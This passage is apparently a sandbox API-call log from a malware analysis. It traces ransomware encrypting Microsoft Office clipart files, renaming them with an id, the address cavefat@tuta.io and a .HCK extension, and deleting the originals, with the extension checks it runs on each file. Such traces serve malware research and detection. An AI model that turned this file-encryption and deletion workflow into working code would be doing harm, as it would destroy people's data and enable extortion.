hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.128] SetEndOfFile (hFile=0x39c) returned 1 [0168.129] CloseHandle (hObject=0x39c) returned 1 [0168.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 1 [0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0168.130] lstrlenW (lpString=".doc") returned 4 [0168.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.130] lstrlenW (lpString=".docx") returned 5 [0168.130] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.130] lstrlenW (lpString=".pdf") returned 4 [0168.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.130] lstrlenW (lpString=".xls") returned 4 [0168.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.130] lstrlenW (lpString=".xlsx") returned 5 [0168.130] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.130] lstrlenW (lpString=".ppt") returned 4 [0168.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0168.130] lstrlenW (lpString=".zip") returned 4 [0168.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.130] lstrlenW (lpString=".rar") returned 4 [0168.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.130] lstrlenW (lpString=".bz2") returned 4 [0168.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.130] lstrlenW (lpString=".7z") returned 3 [0168.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0168.130] lstrlenW (lpString=".dbf") returned 4 [0168.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0168.130] lstrlenW (lpString=".1cd") returned 4 [0168.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0168.130] lstrlenW (lpString=".jpg") returned 4 [0168.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0168.130] lstrlenW (lpString=".doc") returned 4 [0168.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.131] lstrlenW (lpString=".docx") returned 5 [0168.131] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.131] lstrlenW (lpString=".pdf") returned 4 [0168.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.131] lstrlenW (lpString=".xls") returned 4 [0168.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.131] lstrlenW (lpString=".xlsx") returned 5 [0168.131] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.131] lstrlenW (lpString=".ppt") returned 4 [0168.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0168.131] lstrlenW (lpString=".zip") returned 4 [0168.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.131] lstrlenW (lpString=".rar") returned 4 [0168.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.131] lstrlenW (lpString=".bz2") returned 4 [0168.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.131] lstrlenW (lpString=".7z") returned 3 [0168.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0168.131] lstrlenW (lpString=".dbf") returned 4 [0168.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0168.131] lstrlenW (lpString=".1cd") returned 4 [0168.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0168.131] lstrlenW (lpString=".jpg") returned 4 [0168.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.131] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.131] lstrlenW (lpString="J0107742.WMF") returned 12 [0168.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.133] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3644) returned 1 [0168.133] CloseHandle (hObject=0x308) returned 1 [0168.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 0x220 [0168.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.134] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.134] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.135] GetLastError () returned 0x0 [0168.135] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xe3c, lpOverlapped=0x0) returned 1 [0168.212] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xe40, lpOverlapped=0x0) returned 1 [0168.213] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.213] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.213] SetEndOfFile (hFile=0x360) returned 1 [0168.213] CloseHandle (hObject=0x360) returned 1 [0168.213] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.214] SetEndOfFile (hFile=0x3ac) returned 1 [0168.214] CloseHandle (hObject=0x3ac) returned 1 [0168.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 1 [0168.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0168.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0168.215] lstrlenW (lpString=".doc") returned 4 [0168.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.215] lstrlenW (lpString=".docx") returned 5 [0168.215] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.215] lstrlenW (lpString=".pdf") returned 4 [0168.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.215] lstrlenW (lpString=".xls") returned 4 [0168.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.215] lstrlenW (lpString=".xlsx") returned 5 [0168.215] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.215] lstrlenW (lpString=".ppt") returned 4 [0168.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0168.215] lstrlenW (lpString=".zip") returned 4 [0168.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.215] lstrlenW (lpString=".rar") returned 4 [0168.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.215] lstrlenW (lpString=".bz2") returned 4 [0168.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.215] lstrlenW (lpString=".7z") returned 3 [0168.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0168.215] lstrlenW (lpString=".dbf") returned 4 [0168.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0168.215] lstrlenW (lpString=".1cd") returned 4 [0168.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0168.215] lstrlenW (lpString=".jpg") returned 4 [0168.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0168.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0168.215] lstrlenW (lpString=".doc") returned 4 [0168.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.215] lstrlenW (lpString=".docx") returned 5 [0168.215] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.215] lstrlenW (lpString=".pdf") returned 4 [0168.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.215] lstrlenW (lpString=".xls") returned 4 [0168.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.215] lstrlenW (lpString=".xlsx") returned 5 [0168.215] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.215] lstrlenW (lpString=".ppt") returned 4 [0168.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0168.216] lstrlenW (lpString=".zip") returned 4 [0168.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.216] lstrlenW (lpString=".rar") returned 4 [0168.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.216] lstrlenW (lpString=".bz2") returned 4 [0168.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.216] lstrlenW (lpString=".7z") returned 3 [0168.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0168.216] lstrlenW (lpString=".dbf") returned 4 [0168.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0168.216] lstrlenW (lpString=".1cd") returned 4 [0168.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0168.216] lstrlenW (lpString=".jpg") returned 4 [0168.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.216] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.216] lstrlenW (lpString="J0107748.WMF") returned 12 [0168.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.222] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8224) returned 1 [0168.222] CloseHandle (hObject=0x3ac) returned 1 [0168.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 0x220 [0168.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0168.226] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.226] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.229] GetLastError () returned 0x0 [0168.229] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2020, lpOverlapped=0x0) returned 1 [0168.276] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2030, lpOverlapped=0x0) returned 1 [0168.277] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.277] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.277] SetEndOfFile (hFile=0x3ac) returned 1 [0168.279] CloseHandle (hObject=0x3ac) returned 1 [0168.280] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.280] SetEndOfFile (hFile=0x368) returned 1 [0168.281] CloseHandle (hObject=0x368) returned 1 [0168.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 1 [0168.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0168.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0168.287] lstrlenW (lpString=".doc") returned 4 [0168.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.287] lstrlenW (lpString=".docx") returned 5 [0168.287] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.287] lstrlenW (lpString=".pdf") returned 4 [0168.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.287] lstrlenW (lpString=".xls") returned 4 [0168.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.287] lstrlenW (lpString=".xlsx") returned 5 [0168.287] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.287] lstrlenW (lpString=".ppt") returned 4 [0168.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0168.287] lstrlenW (lpString=".zip") returned 4 [0168.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.287] lstrlenW (lpString=".rar") returned 4 [0168.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.287] lstrlenW (lpString=".bz2") returned 4 [0168.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.287] lstrlenW (lpString=".7z") returned 3 [0168.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0168.287] lstrlenW (lpString=".dbf") returned 4 [0168.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0168.287] lstrlenW (lpString=".1cd") returned 4 [0168.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0168.287] lstrlenW (lpString=".jpg") returned 4 [0168.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0168.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0168.287] lstrlenW (lpString=".doc") returned 4 [0168.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.287] lstrlenW (lpString=".docx") returned 5 [0168.287] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.287] lstrlenW (lpString=".pdf") returned 4 [0168.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.287] lstrlenW (lpString=".xls") returned 4 [0168.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.288] lstrlenW (lpString=".xlsx") returned 5 [0168.288] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.288] lstrlenW (lpString=".ppt") returned 4 [0168.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0168.288] lstrlenW (lpString=".zip") returned 4 [0168.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.288] lstrlenW (lpString=".rar") returned 4 [0168.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.288] lstrlenW (lpString=".bz2") returned 4 [0168.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.288] lstrlenW (lpString=".7z") returned 3 [0168.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0168.288] lstrlenW (lpString=".dbf") returned 4 [0168.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0168.288] lstrlenW (lpString=".1cd") returned 4 [0168.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0168.288] lstrlenW (lpString=".jpg") returned 4 [0168.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.288] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0168.288] lstrlenW (lpString="J0145361.JPG") returned 12 [0168.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.291] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=21125) returned 1 [0168.291] CloseHandle (hObject=0x3ac) returned 1 [0168.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 0x220 [0168.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.293] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.293] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.293] GetLastError () returned 0x0 [0168.293] ReadFile (in: hFile=0x354, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x5285, lpOverlapped=0x0) returned 1 [0168.298] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x5290, lpOverlapped=0x0) returned 1 [0168.299] ReadFile (in: hFile=0x354, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.299] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.299] SetEndOfFile (hFile=0x378) returned 1 [0168.299] CloseHandle (hObject=0x378) returned 1 [0168.299] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.299] SetEndOfFile (hFile=0x354) returned 1 [0168.300] CloseHandle (hObject=0x354) returned 1 [0168.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft 